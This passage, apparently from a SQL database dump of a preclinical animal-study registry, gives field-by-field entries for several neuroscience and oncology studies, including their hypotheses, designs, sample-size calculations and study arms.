space)\\n\\nTime restricted feeding\\nWe decided to test the effect of time restricted feeding (8:16) on recovery of function in aged mice for better construct validity of the experimental design. (8 hour time frame to eat is feasible in patients and most of stroke patients are older than 65 years). The food provided to either group will consist of grain-based chow-diet (\\u201cssniff \\u2013 rat\\/mouse maintenance\\u201d).\\n\\nCircadian rhythm\\nWhile humans on a time restricted feeding diet often choose to eat between 10 am and 6 pm, this time frame cannot be transferred into mice due to their different circadian clock. Neglecting this could lead to dramatically biased results 10 11. Therefore, the time frame for the time restricted feeding period will be in the active phase of the mice from 11 pm (= ZT16) to 7 am (= ZT0) in this experiment. \\n\"','2022-03-31 13:23:56','2022-03-31 13:23:57'),
	(8356,217,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8357,217,'species','\"mouse\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8358,217,'strain','\"C57BL\\/6JRj \"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8359,217,'sex','\"both\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8360,217,'experimental_design','\"Middle cerebral artery occlusion (transient occlusion for 30 minutes)\\n\\nTime restricted feeding\\nWe decided to test the effect of time restricted feeding (8:16) on recovery of function in aged mice for better construct validity of the experimental design. (8 hour time frame to eat is feasible in patients and most of stroke patients are older than 65 years). The food provided to either group will consist of grain-based chow-diet (\\u201cssniff \\u2013 rat\\/mouse maintenance\\u201d).\\n\\nCircadian rhythm\\nWhile humans on a time restricted feeding diet often choose to eat between 10 am and 6 pm, this time frame cannot be transferred into mice due to their different circadian clock. Neglecting this could lead to dramatically biased results 10 11. Therefore, the time frame for the time restricted feeding period will be in the active phase of the mice from 11 pm (= ZT16) to 7 am (= ZT0) in this experiment. \\n\\nHealth monitoring\\nWeight and temperature will be measured on a daily basis. For the temperature measurements PLEXX\\u2019 RFID-chips will be used as published (Donath et al., 2016, Mei et al., 2019). The mice will be examined daily to monitor any apparent health deficits. \\n\\nAllocation and randomization\\nRandomization into the groups \\u201cad libitum\\u201d and \\u201ctime restricted feeding\\u201d will be performed using the online tool by GraphPad (https:\\/\\/www.graphpad.com\\/quickcalcs\\/randomize1.cfm). \\n\\nConcealment of group allocation and blinding\\nThe execution and analysis of the behavioral tests, MRI and the histology will be done by a researcher blinded for the group allocation. Videos of the rotating pole test of all mice will be randomized and allocated to new numbers to blind for group allocation and time recorded before and after stroke. Runs will not be blinded since the speed of the pole is visible in the videos.  \\n\\nData collection methods and reporting\\nPrimary data will be collected mainly as videos (Which data type?). All metadata of the microscopic images and videos will be shared alongside including raw data and meta data of the MRI. \\nAll primary data will be shared as open data on a repository. \\n\\nAll data that will be collected during the experiments (e.g. body temperature, body weight) will be published alongside the primary outcome measures.\\n\\nMethods to prevent bias\\nThe study will be analyzed according to the here declared statistical analysis plan independent whether or not the hypothesis testing shows a neutral, beneficial or harmful result in order to prevent publication bias. \\nAll animals will be reported and only preset inclusion\\/exclusion criteria will be exploited. \\nBlinding, randomization and concealment of treatment allocation will be executed according to the ARRIVE guidelines 12. We will use aged mice of both sexes to prevent methodological bias (translating data from young male mice into senior humans of both gender). We believe that mice aren\\u00b4t aware of their diet and its possible effects towards a healthier lifestyle, therefore we assume the placebo effect of the diet is little to none.\\n\\n\"','2022-03-31 13:23:56','2022-03-31 13:23:57'),
	(8361,217,'sample_size_calculation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8362,217,'sample_size_calculation_details','\"Sample size\\nThe sample size of this study is powered to detect a significant effect for the two primary objectives:\\n1.\\tthe influence of the time restricted feeding diet in aged mice and \\n2.\\tthe influence of age on the effect of the time restricted feeding diet.\\n\\nThe primary endpoint is the rotating pole test. The primary endpoint will be used to evaluate both primary objectives. To keep the type I error rate for the primary analysis at maximum 5%, the Bonferroni corrected is applied. Therefore, to reach statistical significance, the p-values must be below 0.025. In the final analysis, mixed linear regression models will be implemented to analyze the primary outcomes. However, for the sample size calculation a simple t-test was used to make fewer assumptions about the data. \\n\\nSince we are the first to use the aforementioned performance score in the rotating pole test as a primary outcome, the assumption for this sample size calculation are based on the end-of-recovery test score (ranging from 0 to 30). \\nFor the first primary objective, we assumed a mean of 17.5 with standard deviation (SD) of 7.4 for mice without diet and mean of 11.4 (SD = 4.8) for mice with diet as the minimum clinical relevant difference that this study should be able to detect. These assumptions are based on experiments that where run in our lab by a different study group.\\n\\nAssuming a type I error rate of 0.025 using the R function pwr.t.test() in the package pwr (Champely 2020) a sample size of 19 mice with evaluable outcomes is required to achieve at least 80% power (code pwr.t.test(d = (17.553-11.409)\\/(sqrt((7.375^2+4.794^2)\\/2)), sig.level = 0.025), power = 0.8))\\n\\nChampely, Stephane (2020). pwr: Basic Functions for Power Analysis. R   package version 1.3-0. https:\\/\\/CRAN.R-project.org\\/package=pwr.\\n\\nTo our knowledge, there is currently no data at all for aged animals performing this particular behavioral test. We anticipate a reduction of around 35 % of the performance in the rotating pole test in animals aged &gt; 15 months. For the sample size calculation, we assume the same effect of the diet to be relevant as in young animals, thus the sample size is the same as for young animals.  \\n\\nTo account for 15% anticipated non-learners, which will be treated as dropouts, the total sample size per group will be 23. \\n\\nExclusion criteria\\nAn animal will be excluded, if they fulfil at least one of the following criteria:\\n-\\tone of the humane endpoints is reached (i. e. auto mutilation, akinesia, constant circling or barrel rotation, inability to stand, loss of &gt; 20 % of bodyweight)\\n-\\tdeath during MCAo surgery or vascular abnormality with inability to insert the filament to induce ischemia \\n-\\tthe infarct size in the MRI at day 1 is below 2 mm3\\n-\\tthe animal does not learn to do the task in the main behavioral test (i. e. rotating pole test), which can be seen if the baseline score in the rotating pole test is 0 \\n-\\tmajor experimental protocol violations occur\\n\\n\\n\"','2022-03-31 13:23:56','2022-03-31 13:23:57'),
	(8363,217,'sum_of_animals','\"81\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8364,217,'study_arms','[{\"type\":\"intervention\",\"number\":\"23\",\"intervention\":\"aged animals (> 15 month) + time restrichted feeding\"},{\"type\":\"control\",\"number\":\"23\",\"intervention\":\"aged animals (> 15 month) + food ad libitum\"},{\"type\":\"intervention\",\"number\":\"23\",\"intervention\":\"young animals (2 - 6 month) + time restrichted feeding\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"young animals (2 - 6 month) + food ad libitum\"}]','2022-03-31 13:23:56','2022-03-31 13:23:57'),
	(8365,217,'randomisation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8366,217,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8367,217,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8368,217,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8369,217,'yes_blinded_intervention_how_details','\"It is not possible for us to perform the behavioral tests in a blinded fashion. For the primary outcome the animals are filmed and scored afterwords by a blinded researcher. \"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8370,217,'placebo_controlled','\"no\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8371,218,'title','\"Tetrabenazine-induced hypolocomotion in rats repeteadly treated with PDE10A inhibitor RO5545965\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8372,218,'short_title','\"RO5545965 repetead\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8373,218,'contact_name','\"Ilya Sukhanov\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8374,218,'contact_role','\"research group superviso\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8375,218,'contact_email','\"ilia.sukhanov@gmail.com\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8376,218,'study_centre','[{\"name\":\"Institute of Pharmacology, Pavlov First Saint Petersburg State Medical University\",\"city\":\"Saint Petersburg\",\"country\":\"RU\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8377,218,'financial_support','[\"grants\"]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8378,218,'start_date','\"2020-12-01\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8379,218,'end_date','\"2021-05-31\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8380,218,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:56','2022-03-31 13:23:59'),
	(8381,218,'research_field','\"neuroscience\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8382,218,'hypothesis','\"Repetead treatment with PDE10A inhibitors results in the development of tolerance to the stimulate action of these compounds\"','2022-03-31 13:23:56','2022-03-31 13:23:59'),
	(8383,218,'intervention_type','\"compound\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8384,218,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8385,218,'primary_readout_parameter','\"Efficacy: efficacy based on horizontal locomotor activity (ambulation) after acute administration of RO5545965 (Pre-clinical registry ID: PCTE0000182) and changes effects of the other PDE10A inhibitor MP-10 (Pre-clinical registry ID: PCTE0000181)\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8386,218,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8387,218,'species','\"rat\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8388,218,'strain','\"Wistar\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8389,218,'sex','\"male\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8390,218,'experimental_design','\"The rats treated with tetrabenazine (3 mg\\/kg, i.p.) 30 min before the start of locomotor activity assessment\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8391,218,'sample_size_calculation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8392,218,'sample_size_calculation_details','\"For the experiments with repeated drug administration, sample size was estimated using power analysis based on two independent sets of data. Design of these studies included three groups and we have set a significance level at 0.025 since the data were to be subjected to two pairwise between-group comparisons.\\nBased on the results of experiments with the acute administration of the PDE10 inhibitors, we expected large differences between \\u201crepeated vehicle + acute vehicle\\u201d vs \\u201crepeated vehicle + acute PDE10 inhibitor\\u201d. Indeed, using the results of the experiments with acute administration of the Roche compound (Fig. XYZ), effect size for the highest dose of 0.9 mg\\/kg is 1.8. For a significance level of 0.01, sample size required to detect such an effect size is 10, 12 and 13 for power of 0.8, 0.9 and 0.95 (two-tailed t-test).\\n\\nHowever, we suspected that expecting development of compete tolerance to effects of the Roche compound results in a potentially under-powered experiment. Therefore, sample size was estimated based on the expected differences between \\u201crepeated PDE10 inhibitor + acute PDE10 inhibitor\\u201d vs \\u201crepeated vehicle + acute PDE10 inhibitor\\u201d.\\n\\nFirst, we have estimated sample sizes needed to detect an effect that would correspond to a difference between the activity scores in groups treated with 0.3 mg\\/kg and 0.9 mg\\/kg doses of the Roche compound (Fig. XYZ). Given the results of a pilot experiment (using a five-day MP-10 treatment regimen) and absence of any evidence for sensitization associated with the repeated administration of PDE10 inhibitors, we have used one-tailed tests. For alpha=0.025 and beta=0.8, required sample size was estimated to be 25 rats per group.\\n\\nSecond, we have used the results of a pilot experiment with repeated administration of MP-10 and defined the expected effect as the difference between the activity scores in groups treated with repeated vehicle + acute MP-10 vs repeated MP-10 and acute MP-10. For alpha=0.025 and beta=0.8, required sample size was estimated to be 41 rats per group. Having 25 rats per group would yield power of 0.59. However, one should take into account that the pilot study was done with a shorter treatment (5 days) and the treatment duration was doubled for the main experiment.\\n\\u2003\\nAppendix A \\u2013 acute 0.9 mg\\/kg vs vehicle\\n\\nVehicle\\nMean = 19.8\\nSD = 25.1\\nN = 9\\n0.9 mg\\/kg\\nMean = 653.7\\nSD = 500.4\\nN = 9\\n\\u2003\\nAppendix B \\u2013 acute 0.9 mg\\/kg vs acute 0.3 mg\\/kg\\n\\nVehicle\\nMean = 19.8\\nSD = 25.1\\nN = 9\\n0.9 mg\\/kg\\nMean = 653.7\\nSD = 500.4\\nN = 9\\n0.3 mg\\/kg\\nMean = 364.2222222\\nSD = 520.8672522\\nN = 9\\n0.1 mg\\/kg\\nMean = 7.6\\nSD = 5.8\\nN = 9\\n\\nAppendix C \\u2013 repeated MP-10\\n\\nVehicle (4 days pretreatment) + MP-10 (test)\\nMean = 486.0909091\\nSD = 351.1414116\\nN = 11\\n\\nMP-10 (4 days pretreatment) + MP-10 (test)\\nMean = 294.2727273\\nSD = 246.4735649\\nN = 11\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8393,218,'sum_of_animals','\"75\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8394,218,'study_arms','[{\"type\":\"control\",\"number\":\"25\",\"intervention\":\"Vehicle treated + Vehicle during test\"},{\"type\":\"control\",\"number\":\"25\",\"intervention\":\"Vehicle treated + RO during test\"},{\"type\":\"intervention\",\"number\":\"25\",\"intervention\":\"RO treated + RO during test\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8395,218,'randomisation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8396,218,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8397,218,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8398,218,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8399,218,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8400,218,'placebo_controlled','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8401,218,'application_number','\"First Pavlov State Saint Petersburg Medical University, # 100_ 81_012017\\/3_900\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8402,218,'has_embargo','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8403,218,'link_to_data','\"No\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8404,218,'secondary_readout_parameter','\"No\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8405,219,'title','\"An innovative biochemical strategy for thrombolysis with accelerated recanalization\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8406,219,'short_title','\"Novel thrombolytic agent\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8407,219,'contact_name','\"Esther van Leeuwen\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8408,219,'contact_role','\"Executive Researcher\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8409,219,'contact_email','\"e.m.vanleeuwen-8@umcutrecht.nl\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8410,219,'study_centre','[{\"name\":\"Dijkhuizen Lab\",\"city\":\"Utrecht\",\"country\":\"NL\"},{\"name\":\"Cyceron\",\"city\":\"Caen\",\"country\":\"FR\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8411,219,'financial_support','[\"grants\"]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8412,219,'start_date','\"2020-12-07\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8413,219,'end_date','\"2021-04-01\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8414,219,'study_status','\"not_started\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8415,219,'research_field','\"Neuroscience\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8416,219,'hypothesis','\"In the AlCl3 model and the Thrombin model the compound will break down the clot, the untargeted enzyme domain won\'t break down the clot in both models, and saline won\'t break down the clot in both models. \"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8417,219,'intervention_type','\"compound\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8418,219,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8419,219,'primary_readout_parameter','\"Efficacy: Lesion size, using t2 weighted MRI\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8420,219,'secondary_readout_parameter','\"- Recanalization directly after compound infusion, using Laser doppler flow (utrecht) or laser speckle (Caen)\\n- Perfusion after 24h using ASL perfusion MRI\\n- Recanalization after 24h using MRA MRI.\\n- Blood sample analysis for several clot degration products\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8421,219,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8422,219,'species','\"mouse\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8423,219,'strain','\"C57BL6 mice in Utrecht, Swiss mice in Caen (Multicenter study)\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8424,219,'sex','\"both\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8425,219,'experimental_design','\"AlCl3 stroke model in Utrecht, Thrombin model in Caen\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8426,219,'sum_of_animals','\"60\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8427,219,'study_arms','[{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"Saline\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Compound\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Untargeted enzyme domain of compound\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8428,219,'randomisation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8429,219,'randomisation_method_used','\"coin-toss\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8430,219,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8431,219,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8432,219,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8433,219,'placebo_controlled','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8434,219,'application_number','\"AVD1150020198024\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8435,219,'has_embargo','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8436,219,'sample_size_calculation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8437,219,'sample_size_calculation_details','\"Main outcome: Control vs Neurolyse\\nAlpha - 0.05 Beta = 80%, mean neurolyse = 16 SD= 3.2, mean control 20, continuous means with an enrollment ratio of 1 gives: a sample size of 10\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8438,220,'secondary_readout_parameter','\"Not applicable.\"','2022-03-31 13:23:56','2022-03-31 13:23:57'),
	(8439,220,'contact_name','\"Charmaine Lim\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8440,220,'contact_role','\"PhD student\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8441,220,'contact_email','\"r01cjml@abdn.ac.uk\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8442,220,'study_centre','[{\"name\":\"Universiy of Aberdeen\",\"city\":\"Aberdeen\",\"country\":\"GB\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8443,220,'financial_support','[\"grants\"]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8444,220,'start_date','\"2021-02-08\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8445,220,'end_date','\"2021-03-19\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8446,220,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:56','2022-03-31 13:24:00'),
	(8447,220,'research_field','\"Translational Neuroscience\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8448,220,'hypothesis','\"Study investigates potential behavioral differences in commonly used wildtype mice in olfactory tasks. \"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8449,220,'other_intervention_type','\"Behavioral paradigms\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8450,220,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8451,220,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8452,220,'species','\"mouse\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8453,220,'strain','\"C57Bl6\\/Js and C57Bl6\\/Ns from Envigo (UK) and Charles River Laboratories (UK)\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8454,220,'sex','\"male\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8455,220,'experimental_design','\"Wildtype animals from different vendors and the C57Bl\\/6 sub-strains were used. The animals were tail marked upon arrival for identification and randomization purposes by the primary experimenter. All animals were randomised by individual tail-markings and randomised by cage number. Animals were initially grouped by cage at random, and the same day of testing was maintained throughout the studies for each animal. The sequence of testing for animals in each day was randomised for each cage using Williams Design. Due to the nature of the studies, the experimenter was partially blinded (only to cage ID and genotype, but not to individual animal ID in respective cages). \\n\\nAnimals were tested in 3 olfactory tests in the following sequence: buried cookie test, 3-chamber task and habituation\\/dishabituation test. To minimize cross-habituation of odors, animals and related husbandry matters were handled and managed solely by the primary experimenter. All animals were handled an equal number of times (by half-scoop methods). \"','2022-03-31 13:23:56','2022-03-31 13:24:00'),
	(8456,220,'sample_size_calculation','\"no\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8457,220,'sum_of_animals','\"48\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8458,220,'study_arms','[{\"type\":\"other\",\"number\":\"48\",\"intervention\":\"Behavioral tasks\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8459,220,'randomisation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8460,220,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8461,220,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8462,220,'placebo_controlled','\"no\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8463,220,'has_embargo','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8464,220,'primary_readout_parameter','\"Time spent exploring an odor stimulus and latency to unburying a buried odor stimulus will be obtained from an automated tracking system (ANY-maze).\"','2022-03-31 13:23:56','2022-03-31 13:24:00'),
	(8465,221,'title','\"Effort-cost dependent preformance in hyperdopaminergic state\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8466,221,'contact_name','\"Artem Savchenko\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8467,221,'contact_role','\"executive researcher\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8468,221,'contact_email','\"savcenkoartem334@gmail.com\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8469,221,'study_centre','[{\"name\":\"Pavlov Medical University\",\"city\":\"Saint-Petersburg\",\"country\":\"RU\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8470,221,'study_status','\"active\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8471,221,'research_field','\"neuroscience\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8472,221,'intervention_type','\"model_optimalisation\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8473,221,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8474,221,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8475,221,'species','\"rat\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8476,221,'strain','\"DAT-KO\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8477,221,'sex','\"male\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8478,222,'title','\"Preclinical data for a phase I safety, dose finding and feasibility trial of GD2-IL18 CART in patients with relapsed or refractory GD2 positive solid cancers\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8479,222,'short_title','\"GD2-IL18 CART\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8480,222,'contact_name','\"Prof. Dr. Claudia R\\u00f6ssig \"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8481,222,'contact_role','\"Project coordinator and principal investigator (PI) of the subsequent clinical trial \"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8482,222,'contact_email','\"rossig@ukmuenster.de\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8483,222,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:23:56','2022-03-31 13:24:03'),
	(8484,222,'start_date','\"2020-11-01\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8485,222,'end_date','\"2022-10-31\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8486,222,'study_centre','[{\"name\":\"RCI\\/University of Regensburg\",\"city\":\"Regensburg\",\"country\":\"DE\"},{\"name\":\"Hannover Medical School \",\"city\":\"Hannover\",\"country\":\"DE\"},{\"name\":\"WWU M\\u00fcnster\",\"city\":\"M\\u00fcnster\",\"country\":\"DE\"},{\"name\":\"Miltenyi Biotec B.V. &amp; Co. KG\",\"city\":\"Bergisch Gladbach\",\"country\":\"DE\"}]','2022-03-31 13:23:56','2022-03-31 13:24:03'),
	(8487,222,'study_status','\"active\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8488,222,'research_field','\"oncology\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8489,222,'hypothesis','\"GD2-IL18 CART effectively target GD2 positive solid cancers. \"','2022-03-31 13:23:56','2022-03-31 13:24:04'),
	(8490,222,'intervention_type','\"other\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8491,222,'other_intervention_type','\"Immunotherapy (gene-engineered T cells)\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8492,222,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8493,222,'primary_readout_parameter','\"Efficacy: Preclinical proof-of-principle Experiments\\n\\u2022 In vitro: Show the capacity of human GD2-IL18 CART to functionally interact with GD2+ targets\\nand release IL-18 in an antigen-inducible manner, including an in vitro potency assay;\\n\\u2022 In vivo: Monitor antitumor activity of human GD2-IL18 CART in xenograft model;\\nrecord in vivo biodistribution and pharmacology\\/toxicology. \"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8494,222,'secondary_readout_parameter','\"Mechanism of action and in vivo biodistribution and pharmacology\\/toxicology\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8495,222,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8496,222,'species','\"mouse\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8497,222,'strain','\"NOD.Cg-PrkdcscidIL2rgtm1Wjl\\/Sz (NSG)\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8498,222,'sex','\"both\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8499,222,'experimental_design','\"CHLA255\\/ffLuc xenografts i.v.\\nA549\\/ffLuc xenografts i.v.\\n\\nMonitor antitumor activity of human GD2-IL18 CART in xenograft model (in vivo): \\nFirst experiment: \\nLuciferase labeled GD2+ CHLA255 cells (neuroblastoma cells) are injected into NSG mice (i.v.). Fourteen days later the tumor load is measured using bioluminescence imaging (BLI). Human CAR T cells are then injected i.v. and the tumor load is measured weekly by means of BLI.\\nThe IL18 concentration is determined in the blood of the living animal.\\nOrgans (bone marrow, liver, spleen and lymphatic organs) are removed postmortem and investigated for the presence of CAR T cells, local immune and antitumor response, and signs of toxicity using flow cytometry, immunohistochemistry and RNA sequencing and functional testing.  \\nThree cohorts are compared:\\nGD2-IL18 CAR T cells (experimental cohort),\\nGD2-GFP CAR T cells (which produce an irrelevant protein, GFP, to control for the added value of IL18 in the experimental construct),\\nCD19-IL18 CAR T cells (which have an irrelevant CAR specificity) \\nSecond experiment:\\n\\nLuciferase labeled GD2+ A549 cells (adult lung carcinoma) are injected into NSG mice (i.v.), then the experiment is performed as experiment 1.\"','2022-03-31 13:23:56','2022-03-31 13:24:04'),
	(8500,222,'sample_size_calculation_details','\"Tierversuchsantrag: Aktenzeichen 55.2.2-2532-2-1480\\n\\nStatistical planning for comparative studies was done with G*Power. \\nThe calculation of the cohort sizes is based on the average reduction in tumor burden. Based on literature data (Biliang et al., 2017), a biologically relevant difference of 19.17% average reduction in tumor burdenwill be assumed between conventional CAR T cells and improved (experimental) CAR T cells with IL18 release. This results in an effect size of 1.95 in the Mann-Whitney U test (program G*Power). On the basis of a power of 80% (error of the 2nd type) and an error probability of p &lt;0.05 (error of the 1st type) in the Mann-Whitney U-Test (program G*Power), a calculated group size of n = 6 animals is determined. The minimum number of animals per condition for this experiment is 12 animals (a minimum of two runs, if no dose modifications are necessary) and the maximum number of 24 animals per group of CAR T cells, if two dose modifications (of 6 animals each) plus 1 validation of the identified dose (6 animals) will be performed.\"','2022-03-31 13:23:56','2022-03-31 13:24:04'),
	(8501,222,'sum_of_animals','\"345 (incl. reserve animals)\"','2022-03-31 13:23:56','2022-03-31 13:24:03'),
